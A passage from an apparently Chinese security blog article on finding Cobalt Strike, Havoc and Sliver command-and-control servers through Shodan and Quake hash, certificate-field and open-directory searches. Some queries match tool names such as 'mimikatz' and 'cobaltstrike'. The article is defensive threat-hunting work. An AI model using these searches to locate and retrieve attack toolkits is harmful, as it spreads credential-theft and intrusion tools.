Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Shodan的爬虫可以计算网站的Hash。要找到相同的网站，可以使用http.html_hash，它是网站HTML的Hash。也可以使用这个[工具](<span style="line-height: 1.75;color: rgb(87, 107, 149);">ninoseki/apullo: A scanner for taking basic fingerprints (github.com)</span>)生成哈希值。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  根据CS服务器的配置方式，哈希值可能基于默认设置为null。如果攻击者修改了默认配置，那么就会生成Hash。可以在html_hash上进行判断，以找出具有相同哈希值的其服务器。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  例如我们首先使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">product</code>字段查看已经明确的CS服务器的html hash：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24351851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b46dce82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFZ8H1qBNVHTfZvzEhG84W43vxxF76YQPGfIy4keTzD5cDoczh4P3RYQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到有一条hash为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">2101032290</code>的数据，然后我们去除<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">product</code>标签直接进行搜索：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.html_hash:&#34;2101032290&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47129629629629627" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ac79982b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFc0yyPDLqmBh0bfUXib7jebiaaUIDCZ0SIPJvjwGiaKiczgKpF1T7BZ5hibw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到结果有17条，后续就可以将刚才三条过滤掉对剩下的14条进行分析和确认。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  同样的，这个思路还可以被用在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">HTTP Header hash</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6611111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=626cdbcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFwBvMv0cfR2rPHHWG9HWvweY5o8UNQZomYtu70jtUA2MZichHV39N9vA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  例如这个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">316618825</code>，按照上面所说的思路进行拓展之后：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.headers_hash:&#34;316618825&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.475" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f71b61b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFr6NEkichaR87CTjHR5HTkYy8Nk2AcI6zXXF2P52ExjLUtY3Iic01QFZw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">读懂C2</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这条方法主要是针对一些开源的C2框架或者能够搞到源码的C2，例如<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">HavocFramework</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过观察HavocFramework的代码，可以看到代码中存在定义：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">    orgNames = []string{<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;ACME&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Partners&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Tech&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Cloud&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Synergy&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Test&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Debug&#34;</span>,<br/>    }<br/>    orgSuffixes = []string{<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;co&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;llc&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;inc&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;corp&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;ltd&#34;</span>,<br/>    }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这其中就包含了生成的证书：ACME、Partners、Tech、Cloud、Synergy、Test、Debug</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我们使用其中的一个特征来进行搜索</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4758522727272727" data-s="300,640" style="" data-type="png" data-w="704" src="https://wechat2rss.xlab.app/img-proxy/?k=376aab2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFuPVqFFSpFwKCicJY6UaAUlJ8moDclANWpzTXeqJic4khr5UlXYwjOXdQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  同时，sliver也使用了这几种随机的org，[代码](sliver/subject.go at 97d3da75b6e24defb3a2a97443a15a632b3a8448 · BishopFox/sliver (github.com))</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过列表中的属性能够方便我们快速确定一台C2服务器</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">其他的“歪门邪道”</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Quake支持对相应包的搜索，所以我们可以寻找到一些在互联网上开放了目录的服务器，查看其中的内容</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  打开目录页面标题主要由正在使用的 Web 服务器决定。如果它是一个 Apache2 服务器，标题将是“Index of /”，如果它是一个 Python HTTP 服务器，内容将会是目录列表</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26152304609218435" data-s="300,640" style="" data-type="png" data-w="998" src="https://wechat2rss.xlab.app/img-proxy/?k=5a461e16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFXzQjiaYoDBdvHC34sK5EZIYMjSFSQVeAbl4svvWaLVwEdZXyqQSbsHA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8691588785046729" data-s="300,640" style="" data-type="png" data-w="1070" src="https://wechat2rss.xlab.app/img-proxy/?k=1eba91b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFATEBg2eUvBbkmJ7DSWEibwcnibvAFbVrnmlqVhC82thfgs6I2BdRDqsw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  攻击者通常倾向于使用Python搭建临时HTTP文件服务器，但是有时他们会忘记及时关闭Python HTTP服务器，导致我们可以通过HTTP响应进行过滤。例如我们可以输入任何安全工具或恶意软件的名称来进行过滤：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">title: &#34;Directory listing for /&#34; and response:&#34;cobaltstrike&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4777777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=873b0196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFgVUejLhAnG3aC7DsDzZeJQnAicqskp6jM25kDEvC1iaExNqWls9mFwLA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  看到目前或曾经有68个服务器托管了Cobalt Strike供攻击者下载</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">title: &#34;Directory listing for /&#34; and response:&#34;mimikatz&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4722222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7069c51e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqF7eIPFICI9RZbe1UPujd5rEIzk4iccYmicpgKvbUe33qaxficQIPMvXapw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">title: &#34;Directory listing for /&#34; and response:&#34;exp&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48333333333333334" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0dd374ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFJMhnhlHUnxXfOpKIj4dREocZquF2J2bFBtCNYPVpJn7MJEoBicHg56Q%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">碰巧逮到个没关的</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1396648044692737" data-s="300,640" style="" data-type="png" data-w="358" src="https://wechat2rss.xlab.app/img-proxy/?k=fd18cbca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFqqdl42hiaCbPqt7P3u61mCQ28EbRbnwoHXwM2x9dqAfSkE6ibQ1FYFtQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  虽然妹有C2，但也是个用于托管恶意代码的服务器，可以将样本下载进行分析</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">结语</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这里给出的方式还是比较少的，后续等弟弟精进一下分享些高级的Hunting手法。<span style="letter-spacing: 0.1em;">其中分享的手法有的只能用来进行辅助判断，在实际的生产时需要考虑误报的情况，毕竟情报误报还是比 较严重的。</span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中还有一些手法例如通过地区、托管的服务商、Nmap扫描等大家感兴趣可以拓展一下，<span style="letter-spacing: 0.1em;">希望各位大师傅不吝赐教，轻喷。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Reference</h2><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Gustav Shen – Medium</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 